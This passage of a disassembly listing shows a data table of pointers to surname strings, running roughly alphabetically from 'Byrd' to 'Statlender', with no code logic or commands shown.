dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
